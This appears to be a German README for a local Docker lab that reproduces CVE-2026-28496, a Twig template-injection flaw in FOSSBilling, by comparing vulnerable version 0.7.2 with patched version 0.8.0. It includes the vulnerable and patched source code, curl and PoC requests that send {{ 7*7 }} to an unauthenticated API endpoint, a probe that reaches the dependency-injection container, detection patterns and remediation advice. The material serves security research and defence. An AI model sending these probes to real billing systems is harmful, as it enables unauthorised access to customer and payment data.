
Docker-basiertes Labor zur Reproduktion und Validierung von CVE-2026-28496, einer Server-seitigen Template-Injection-Schwachstelle in der Twig-Wiedergabe von FOSSBilling, mit Zielen für den Vergleich von anfälligen und gepatchten Versionen.
Dieses Repository enthält ein lokales Docker-Labor zur Reproduktion und Validierung von CVE-2026-28496, einer Sicherheitslücke durch serverseitige Template-Injection, die das Twig-Template-Rendering-Verhalten von FOSSBilling betrifft.
FOSSBilling ist eine kostenlose Open-Source-Abrechnungs- und Kundenverwaltungsplattform. Versionen vor 0.8.0 sind von unsicherem Twig-Template-Rendering-Verhalten betroffen, das bereitgestellte Template-Ausdrücke auswerten kann. FOSSBilling 0.8.0 wird in diesem Labor als gepatchtes Vergleichsziel verwendet.
Dieses Labor vergleicht zwei FOSSBilling-Versionen:
| Dienst | FOSSBilling-Version | Zweck | URL |
|---|
| vuln | 0.7.2 | Verwundbares Vergleichsziel | http://localhost:8081 |
| patched | 0.8.0 | Gepatchtes Vergleichsziel | http://localhost:8082 |
Der demonstrierte HTTP-Validierungspfad in diesem lokalen Labor ist:```text Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab → POST /api/system/system/string_render → JSON body contains _tpl={{ 7*7 }} → vulnerable target renders the Twig expression → patched target does not expose the same tested API behavior
Im verwundbaren Ziel gibt der API-Aufruf zurück:```json
{"result":"49","error":null}
Im gepatchten Ziel gibt dieselbe Anfrage zurück:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Diese Laborumgebung validiert das anfällige im Vergleich zum gepatchten HTTP-Verhalten mittels FOSSBilling 0.7.2 und FOSSBilling 0.8.0.
Die Laborumgebung ist absichtlich auf lokale Docker-Dienste beschränkt. Sie richtet sich nicht gegen externe Systeme und enthält keine Webshells, Malware, Persistenz, externe Callbacks, Datenbank-Dumps oder zerstörerische Payloads.
## Verifizierte Fakten
| Behauptung | Nachweis | Wie im Labor zu überprüfen |
| ---------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- |
| CVE-2026-28496 betrifft FOSSBilling-Versionen vor 0.8.0. | Öffentliche CVE- und Advisory-Metadaten identifizieren FOSSBilling vor 0.8.0 als von Twig SSTI betroffen. | Lesen Sie den Referenzbereich und vergleichen Sie die anfälligen und gepatchten Zielversionen.|
| FOSSBilling 0.7.2 wird als anfälliges Vergleichsziel verwendet. | Der anfällige Dienst wird aus dem offiziellen `fossbilling/fossbilling:0.7.2` Docker-Image erstellt. | Überprüfen Sie `vuln/Dockerfile` und führen Sie `docker compose ps -a` aus. |
| FOSSBilling 0.8.0 wird als gepatchtes Vergleichsziel verwendet. | Der gepatchte Dienst wird aus dem offiziellen `fossbilling/fossbilling:0.8.0` Docker-Image erstellt. | Überprüfen Sie `patched/Dockerfile` und führen Sie `docker compose ps -a` aus. |
| Der anfällige HTTP-Pfad ist `/api/system/system/string_render`. | Das anfällige Ziel gibt JSON mit `result: "49"` für `_tpl={{ 7*7 }}` zurück. | Führen Sie `python3 poc/poc.py --url http://localhost:8081` aus. |
| Das gepatchte Ziel zeigt nicht dasselbe HTTP-Verhalten. | Das gepatchte Ziel gibt `Unknown API call system/system/string_render` zurück. | Führen Sie `python3 poc/poc.py --url http://localhost:8082` aus. |
| Der Proof-of-Concept (PoC) ist rein HTTP-basiert. | `poc/poc.py` sendet HTTP-POST-Anfragen und ruft keine Docker-, Docker-Compose-, Shell-Befehle oder Container-APIs auf.| Überprüfen Sie `poc/poc.py`. |
| Das Labor installiert beide FOSSBilling-Ziele automatisch beim Start von Docker Compose. | Die One-Shot-Installer-Seitencontainer schließen die Einrichtung ab und beenden mit Status 0. | Führen Sie `docker compose ps -a` und `docker compose logs installer-vuln installer-patched` aus.|
| Das anfällige Ziel rendert den harmlosen Twig-Ausdruck. | Die HTTP-Antwort von Port 8081 ist `{"result":"49","error":null}`. | Führen Sie den anfälligen PoC-Befehl aus. |
| Das gepatchte Ziel rendert denselben Ausdruck nicht über den getesteten API-Pfad. | Die HTTP-Antwort von Port 8082 ist ein JSON-API-Fehler mit Code `879`. | Führen Sie den gepatchten PoC-Befehl aus. |
## Annahmen und Unbekanntes
Dieses Labor verwendet FOSSBilling 0.7.2 als anfälliges Vergleichsziel, da öffentliche Sicherheitsforschung FOSSBilling-Versionen vor 0.8.0 als betroffen identifiziert und 0.7.2 die neueste anfällige Version in der getesteten Kette ist.
Dieses Labor verwendet FOSSBilling 0.8.0 als gepatchtes Vergleichsziel, da öffentliche Advisory-Metadaten 0.8.0 als die gepatchte Version ausweisen.
Dieses Labor konzentriert sich auf das beobachtbare HTTP-Verhalten von:```text
POST /api/system/system/string_render
mit diesem JSON-Textkörper:```json {"_tpl":"{{ 7*7 }}"}
Das Labor zeigt, dass FOSSBilling 0.7.2 den bereitgestellten Twig-Ausdruck über den HTTP-API-Pfad rendert, während FOSSBilling 0.8.0 denselben API-Aufruf nicht bereitstellt.
Dieses Labor erhebt nicht den Anspruch, jede FOSSBilling-Vorlagen-Rendering-Funktion zu testen. CVE-2026-28496 bezieht sich auch auf andere Twig-Rendering-Kontexte, wie zum Beispiel Vorlagen-Rendering-Funktionen, die innerhalb der Anwendung verfügbar sind.
Dieses Labor demonstriert nicht die vollständige unauthentifizierte Remote-Codeausführungskette. Es validiert das beobachtete unauthentifizierte HTTP-Verhalten im lokalen FOSSBilling 0.7.2-Ziel und vergleicht es mit FOSSBilling 0.8.0. Die vollständige öffentliche Kette beinhaltet zusätzliches API-Autorisierungsverhalten über die hier gezeigte sichere Twig-Ausdrucksvalidierung hinaus.
Das Labor demonstriert nicht:
* Remote-Befehlsausführung,
* Extraktion von Anmeldeinformationen,
* Datenbank-Dumping,
* Installation von Erweiterungen,
* Beliebiges Dateischreiben,
* Persistenz,
* Web-Shell-Upload,
* Externe Rückrufe,
* Angriffe auf Nicht-Lab-Systeme,
* oder Post-Exploitation-Aktivität.
## Zusammenfassung der Ursache
Die Ursache von CVE-2026-28496 ist unsicheres Twig-Vorlagen-Rendering.
FOSSBilling verwendet Twig, um dynamische Vorlagen zu rendern. In anfälligen Versionen kann ein bereitgestellter Vorlagenstring ohne ausreichende Sandbox-Einschränkungen in die Twig-Rendering-Logik übergeben werden.
Das anfällige Verhalten kann wie folgt zusammengefasst werden:```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response
Für diesen harmlosen Template-Ausdruck:```twig {{ 7*7 }}
Das verwundbare Ziel wertet den Ausdruck aus und gibt zurück:```text
49
Das Sicherheitsproblem beschränkt sich nicht auf die arithmetische Auswertung. Die arithmetische Auswertung ist nur das sichere sichtbare Signal, das in diesem Labor verwendet wird.
Das sicherheitskritischere Problem besteht darin, dass unsandboxt Twig-Templates auf Objekte und Methoden zugreifen können, die im Template-Kontext verfügbar gemacht werden. Öffentliche Forschung beschreibt einen risikoreicheren Pfad, bei dem die Ausführung von Twig-Templates in Anwendungsinterna gelangen kann, einschließlich des Dependency-Injection-Containers, wenn geeignete Template-Kontext-Objekte verfügbar sind.
Das vereinfachte angreifbare Modell lautet:```text Template renderer → unsandboxed Twig expression → method/object access may be possible → application internals may become reachable → sensitive services may become reachable
Das gepatchte Design in FOSSBilling 0.8.0 härtet das anfällige Verhalten. In diesem Labor legt das gepatchte Ziel den getesteten API-Aufruf nicht mehr offen:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Die Sicherheitslektion ist:```text Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.
## Quellcode-Analyse
Das anfällige HTTP-Verhalten wird durch den Quellcode-Pfad in FOSSBilling 0.7.2 gestützt.
Die API-Methode empfängt `_tpl` aus den Anfragedaten und übergibt es an den System-Service-Renderer.
Relevanter anfälliger Einstiegspunkt:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
Der wichtige Datenfluss ist:```text HTTP request body → _tpl → System\Api\Admin::string_render() → System\Service::renderString()
In FOSSBilling 0.7.2 versucht `renderString()`, den übergebenen Wert als Vorlagennamen zu laden. Wenn das fehlschlägt, behandelt es den übergebenen Wert als Vorlagenzeichenfolge und übergibt ihn an `createTemplateFromString()`.
Vereinfachter verwundbarer Ablauf:```php
public function renderString($tpl, $try_render, $vars)
{
$twig = $this->di['twig'];
try {
$template = $twig->load($tpl);
$parsed = $template->render($vars);
} catch (\Exception) {
// $twig->load throws an exception when $tpl is a raw template string
$parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
}
return $parsed;
}
Die anfällige Sink ist createTemplateFromString():```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
Das sicherheitsrelevante Quellmuster ist:```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side
Dies erklärt das anfällige Laborergebnis:```text POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Verwundbare Antwort:```json
{"result":"49","error":null}
Der Wert 49 beweist, dass der bereitgestellte Twig-Ausdruck serverseitig ausgewertet wurde.
Das sichere Lab-Payload verwendet nur Arithmetik:```twig {{ 7*7 }}
Allerdings ist die Ursache sicherheitskritischer als die Auswertung arithmetischer Ausdrücke. In angreifbaren Rendering-Kontexten können Twig-Templates mit Anwendungsobjekten interagieren, die in der Template-Umgebung vorhanden sind. Öffentliche Forschung beschreibt Ketten mit höherer Auswirkung, bei denen API-Kontextobjekte Zugriff auf Anwendungsinterna wie den Dependency-Injection-Container gewähren können.
Ein Quellcode-Regressionstest bestätigte das tiefere Verhalten:```text
FOSSBilling 0.7.2:
{{ guest.getDi() }}
→ DI_VISIBLE
FOSSBilling 0.8.0:
{{ guest.getDi() }}
→ blocked by Twig sandbox policy
Deshalb wird die Schwachstelle am besten als unsicheres Template-Rendering verstanden, nicht nur als Fehler in der Auswertung von Ausdrücken nach Art eines Taschenrechners.
FOSSBilling 0.8.0 ändert das anfällige Verhalten, indem die Zeichenketten-Darstellung gehärtet und das getestete anfällige HTTP-Verhalten entfernt wird.
In der gepatchten Version wird die Zeichenketten-Darstellung über sandbox-bewusstes Rendering geleitet, anstatt willkürliche Template-Strings direkt mit umfassenden Twig-Funktionen zu rendern.
Der gepatchte Service-Code ruft einen sandbox-bewussten Renderer auf:```php $rendered = SandboxedStringRenderer::render( $twig, $tpl, $vars, $errorMessage );
Der Sandbox-Renderer erstellt und rendert ein Template, fängt aber Twig-Sandbox-Verstöße ab und wandelt sie in einen kontrollierten Anwendungsfehler um:```php
final class SandboxedStringRenderer
{
public static function render(
Environment $twig,
string $content,
array $context = [],
string $name = 'template'
): string {
try {
return $twig->createTemplate($content)->render($context);
} catch (SecurityError $e) {
throw new InformationException(
'%name% contains disallowed Twig syntax: %error%',
[
'%name%' => $name,
'%error%' => $e->getMessage(),
]
);
}
}
}
Die Sandbox-Richtlinie blockiert standardmäßig den Zugriff auf Methoden und Eigenschaften:```php $methods = []; $properties = [];
Die sicherheitsrelevante Änderung ist:```text
Before:
request-controlled template string
→ Twig createTemplate()
→ render without the patched sandbox boundary
After:
template string rendering
→ SandboxedStringRenderer
→ Twig sandbox policy
→ method/property access denied by default
Für den in diesem Labor getesteten öffentlichen HTTP-API-Pfad macht FOSSBilling 0.8.0 denselben anfälligen API-Aufruf nicht verfügbar:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Dies bietet zwei nützliche Validierungsebenen:```text
HTTP behavior validation:
0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
0.8.0 does not expose the same API behavior.
Source/root-cause validation:
0.7.2 allows unsafe Twig rendering behavior.
0.8.0 introduces sandboxed string rendering and blocks method/property access.
Das Labor hält diese beiden Schichten getrennt:```text HTTP PoC result proves the vulnerable endpoint behavior.
Source patch review explains why unsafe Twig rendering was dangerous and how the patched version hardens it.
## Laborarchitektur
Das Lab betreibt zwei isolierte FOSSBilling-Installationen mit Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
Die beiden FOSSBilling-Dienste verwenden separate Datenbanken und separate Anwendungsversionen:
| Dienst | Komponente | Version / Rolle |
|---|---|---|
| vuln | FOSSBilling | verwundbare Zielanwendung |
| patched | FOSSBilling | gepatchte Zielanwendung |
| vuln-db | MariaDB | Datenbank für verwundbares Ziel |
| patched-db | MariaDB | Datenbank für gepatchtes Ziel |
| installer-vuln | curl sidecar | installiert automatisch verwundbares Ziel |
| installer-patched | curl sidecar | installiert automatisch gepatchtes Ziel |
Standardmäßig bereitgestellte Dienste:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Das Labor verwendet festgelegte FOSSBilling-Versionen:
| Ziel | FOSSBilling-Version | Erwartetes Verhalten |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 | 0.7.2 | rendert `{{ 7*7 }}` über den verwundbaren API-Pfad |
| http://localhost:8082 | 0.8.0 | legt das gleiche verwundbare API-Verhalten nicht offen |
Die Installer-Seitenwagen laufen automatisch während `docker compose up`. Sie initialisieren beide FOSSBilling-Ziele mit lokalen einmaligen Datenbankanmeldeinformationen und beenden dann.
Das Labor erstellt oder modifiziert die verwundbare API-Route nicht.
Die Route `/api/system/system/string_render` wird von der FOSSBilling-Anwendung im verwundbaren 0.7.2-Ziel nach der Installation bereitgestellt. Das Docker-Labor installiert die Anwendung nur über den normalen Installationsablauf und sendet dann eine HTTP-Anfrage an den vorhandenen Anwendungsendpunkt.
Das gepatchte 0.8.0-Ziel gibt `Unknown API call system/system/string_render` zurück, was bestätigt, dass das getestete Routenverhalten von der Anwendungsversion selbst kommt und nicht von einer laborerstellten Route.
## Voraussetzungen
* Docker Desktop oder Docker Engine
* Docker Compose v2
* Python 3
* Internet Zugriff während des ersten Ziehens des Docker-Images
Es wird kein Python-Paket von Drittanbietern benötigt. Der PoC verwendet nur Module der Python-Standardbibliothek.
## Schnellstart
Starten Sie das Labor aus einem sauberen Zustand:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Überprüfen Sie den Dienststatus:```bash docker compose ps -a
Erwartete laufende Dienste:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
Erwartete abgeschlossene Installationsdienste:```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
Überprüfen Sie die Installationsprotokolle:```bash
docker compose logs installer-vuln installer-patched
Überprüfen Sie die Webanwendungen:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
Führen Sie die HTTP-Validierung gegen das angreifbare Ziel durch:```bash
python3 poc/poc.py --url http://localhost:8081
Führen Sie die HTTP-Validierung gegen das gepatchte Ziel durch:```bash python3 poc/poc.py --url http://localhost:8082
## PoC-Verwendung
Das PoC akzeptiert eine lokale FOSSBilling-Basis-URL:```bash
python3 poc/poc.py --url <target_url>
Beispiele:```bash python3 poc/poc.py --url http://localhost:8081 python3 poc/poc.py --url http://localhost:8082 python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
Das PoC sendet diese HTTP-Anfrage:```text
POST /api/system/system/string_render
Content-Type: application/json
Anfragekörper:```json {"_tpl":"{{ 7*7 }}"}
Der PoC ist HTTP-only. Er ruft kein Docker, Docker Compose, Shell-Befehle, WP-CLI oder Container-APIs auf.
## Erwartete Ergebnisse
### Verwundbares Ziel
Befehl:```bash
python3 poc/poc.py --url http://localhost:8081
Erwartetes verwundbares Zielsignal:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8081 Endpoint: http://localhost:8081/api/system/system/string_render Template: {{ 7*7 }}
===== HTTP response ===== status=200 content-type=application/json; charset=utf-8 {"result":"49","error":null}
===== verdict ===== VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.
### Gepatchtes Ziel
Befehl:```bash
python3 poc/poc.py --url http://localhost:8082
Erwartetes gepatchtes Zielsignal:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8082 Endpoint: http://localhost:8082/api/system/system/string_render Template: {{ 7*7 }}
===== HTTP response ===== status=400 content-type=application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
===== verdict ===== PATCHED/NOT REACHABLE: target did not render the supplied template.
Der wichtige Unterschied ist:```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49
FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error
Der Validator sendet eine einzelne HTTP-POST-Anfrage an den FOSSBilling-API-Endpunkt:```text /api/system/system/string_render
Der Request-Body enthält einen harmlosen Twig-Ausdruck:```json
{"_tpl":"{{ 7*7 }}"}
Erwartetes verwundbares Verhalten:```text HTTP 200 OK JSON result is "49"
Erwartetes gepatchtes Verhalten:```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable
Dies bestätigt, dass das anfällige Ziel die bereitgestellte Vorlage serverseitig auswertet.
Der PoC verwendet bewusst {{ 7*7 }} anstelle einer zerstörerischen Nutzlast. Ziel ist es, die technische Bedingung sicher nachzuweisen:```text
attacker-controlled template input
Für eine tiefere Quellcode-Ebene Root-Cause-Validierung ist der Methodenzugriff ein stärkerer Beweis für das zugrunde liegende Problem. Allerdings verwendet der öffentliche PoC in diesem Repository den sichereren arithmetischen Ausdruck, um die Demonstration einer Kette mit hohem Einfluss zu vermeiden.
## Manuelle HTTP-Reproduktion mit curl
Verwundbare Probe:```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Erwartetes Ergebnis:```text HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8
{"result":"49","error":null}
Gepatchter Probe:```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Erwartetes Ergebnis:```text HTTP/1.1 400 Bad Request Content-Type: application/json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
## Auswirkungen
Eine Server-Side Template Injection in einer Abrechnungs- und Kundenverwaltungsplattform ist sicherheitskritisch, da die Anwendung Kundendaten, Abrechnungsdaten, Server-Anmeldeinformationen, Zahlungskonfigurationen und von Administratoren kontrollierte Automatisierungslogik speichern kann.
Der gezeigte Lab-Payload ist harmlos und wertet lediglich:```twig
{{ 7*7 }}
Allerdings kann die zugrunde liegende Schwachstellenklasse schwerwiegender sein, wenn die Template-Ausführung Zugriff auf Anwendungsobjekte, -methoden oder Servicecontainer hat.
Die potenziellen realen Auswirkungen können je nach Konfiguration und erreichbarem Template-Kontext Folgendes umfassen:
Dieses Labor demonstriert nur das sichere HTTP-Validierungssignal. Es demonstriert keinen Zugriff auf Anmeldeinformationen, Datenbankzugriff, Erweiterungsinstallation, Befehlsausführung oder Post-Exploitation.
Mögliche Indikatoren umfassen HTTP-Anfragen an den FOSSBilling API endpoint:```text /api/system/system/string_render
Verdächtiges Anfragemuster:```text
POST /api/system/system/string_render
Content-Type: application/json
Verdächtige Anforderungstext-Indikatoren:```text _tpl {{ }} Twig syntax
Beispiel für ein Zugriffsprotokollmuster:```text
POST /api/system/system/string_render
Beispiel JSON-Payload:```json {"_tpl":"{{ 7*7 }}"}
Empfohlene Überwachungsmaßnahmen:
* Überprüfen Sie die Zugriffsprotokolle des Webservers auf `/api/system/system/string_render`.
* Überprüfen Sie Anfragen, die `_tpl` in JSON-Anforderungskörpern enthalten.
* Überprüfen Sie Anfragen, die Twig-Syntax wie `{{` und `}}` enthalten.
* Überprüfen Sie erfolgreiche API-Antworten, die gerenderte Template-Ausgaben enthalten.
* Überprüfen Sie fehlgeschlagene API-Antworten auf verdächtige Template-Rendering-Versuche.
* Überprüfen Sie Administratoraktivitäten, wenn eine Ausnutzung vermutet wird.
* Überprüfen Sie Änderungen an Konfigurationen von Templates, E-Mails, Massenmailern und Zahlungsadaptern.
* Überprüfen Sie Anwendungsprotokolle auf Template-Rendering-Fehler oder unerwartete API-Aufrufe.
Erkennungsidee mit hohem Signalwert:```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"
Ein weiteres lokales Validierungsartefakt mit hohem Signalwert:```text Request body: {"_tpl":"{{ 7*7 }}"}
Response body: {"result":"49","error":null}
## Abhilfe- und Patch-Hinweise
Aktualisieren Sie FOSSBilling auf Version 0.8.0 oder neuer.
Aktualisieren Sie in Produktionsumgebungen auf die neueste verfügbare Version, anstatt bei der Labor-Vergleichsversion zu bleiben.
Empfohlene Abhilfemaßnahmen:
* Aktualisieren Sie FOSSBilling auf 0.8.0 oder neuer.
* Bestätigen Sie, dass die installierte Version nicht im betroffenen Bereich liegt.
* Schränken Sie den öffentlichen Zugriff auf administrative API-Pfade nach Möglichkeit ein.
* Überprüfen Sie die Webzugriffslogs auf Anfragen an `/api/system/system/string_render`.
* Überprüfen Sie Vorlagen, E-Mail-Vorlagen, Massenmailer und benutzerdefinierte Zahlungsadapter auf verdächtige Twig-Syntax.
* Rotieren Sie Geheimnisse, wenn eine Ausnutzung vermutet wird.
* Überprüfen Sie Kunden-, Abrechnungs-, Zahlungs- und Serververwaltungsaufzeichnungen auf unbefugten Zugriff.
* Behandeln Sie WAF-Regeln oder Reverse-Proxy-Blöcke als vorübergehende Kontrollen, nicht als Ersatz für ein Upgrade.
Sicherheitstechnische Lehren:
* Rendern Sie keine nicht vertrauenswürdigen Vorlagenzeichenfolgen in einem privilegierten Anwendungskontext.
* Setzen Sie Anwendungsdienstcontainer keinen Vorlagenkontexten aus.
* Verwenden Sie sandboxiertes Template-Rendering für benutzergesteuerte oder administratorgesteuerte Vorlagenfunktionen.
* Verweigern Sie den Zugriff auf Methoden und Eigenschaften, es sei denn, dies ist ausdrücklich erforderlich.
* Halten Sie API-Autorisierungsfehler explizit und schlagen Sie geschlossen fehl.
* Behandeln Sie Template-Rendering-Funktionen als codeausführungsnahe Oberflächen.
## Nützliche Überprüfungsbefehle
Containerstatus überprüfen:```bash
docker compose ps -a
Installationsprotokolle prüfen:```bash docker compose logs installer-vuln installer-patched
Webdienste überprüfen:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
Führen Sie die verwundbare HTTP-Validierung durch:```bash python3 poc/poc.py --url http://localhost:8081
Gepatchte HTTP-Validierung ausführen:```bash
python3 poc/poc.py --url http://localhost:8082
Manuelle anfällige Anfrage:```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
Manuell gepatchte Anfrage:```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Untersuchen Sie den gefährdeten Quellfluss aus dem ausgecheckten Quellbaum:```bash git checkout 0.7.2
grep -n "function string_render" -A30 src/modules/System/Api/Admin.php grep -n "function renderString" -A70 src/modules/System/Service.php grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php
Untersuche den gepatchten Sandbox-Renderer aus dem ausgecheckten Quellbaum:```bash
git checkout 0.8.0
grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig
Validierungsnachweise speichern:```bash mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081
| tee evidence/vulnerable-http-validation.txt
python3 poc/poc.py --url http://localhost:8082
| tee evidence/patched-http-validation.txt
docker compose ps -a
| tee evidence/docker-compose-ps.txt
docker compose logs installer-vuln installer-patched
| tee evidence/installer-logs.txt
Überprüfe FOSSBilling Antwort-Header:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'
Container und Netzwerke stoppen und entfernen:```bash docker compose down --remove-orphans
Container, Netzwerke und Volumes entfernen:```bash
docker compose down -v --remove-orphans
Lokale Beweisdaten entfernen, falls erstellt:```bash rm -rf evidence/
## Sicherheitsgrenzen
Dieses Labor dient ausschließlich der lokalen Sicherheitsforschung und kontrollierten Vorführungen.
Führen Sie den PoC oder manuelle Curl-Anfragen nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.
Verwenden Sie in diesem Labor keine echten Produktionsanmeldedaten, Kundendaten, Zahlungsdaten, API-Schlüssel oder Produktionsgeheimnisse.
Der beabsichtigte Umfang beschränkt sich auf lokale Docker-Dienste wie:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Der PoC ist absichtlich nur HTTP-basiert und auf den lokalen Bereich beschränkt. Er ruft keine Docker-, Docker-Compose-, Shell-Befehle, WP-CLI- oder Container-APIs auf.
Das Labor enthält keine Payloads für:
Das Ziel ist es, einen bestimmten technischen Zustand in einer kontrollierten Umgebung zu demonstrieren:```text HTTP request
## Referenzen
* CVE-Eintrag: CVE-2026-28496
https://www.cve.org/CVERecord?id=CVE-2026-28496
* GitHub Advisory: GHSA-57mv-jm88-66jc
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
* VulnCheck: FOSSBilling Auth Bypass und Twig SSTI zu nicht authentifiziertem RCE
https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
* FOSSBilling Docker-Dokumentation
https://docs.fossbilling.org/getting-started/docker/
* FOSSBilling GitHub-Repository
https://github.com/FOSSBilling/FOSSBilling
* FOSSBilling Docker-Image
https://hub.docker.com/r/fossbilling/fossbilling
* Twig-Dokumentation: Sandbox-Erweiterung
https://twig.symfony.com/doc/3.x/sandbox.html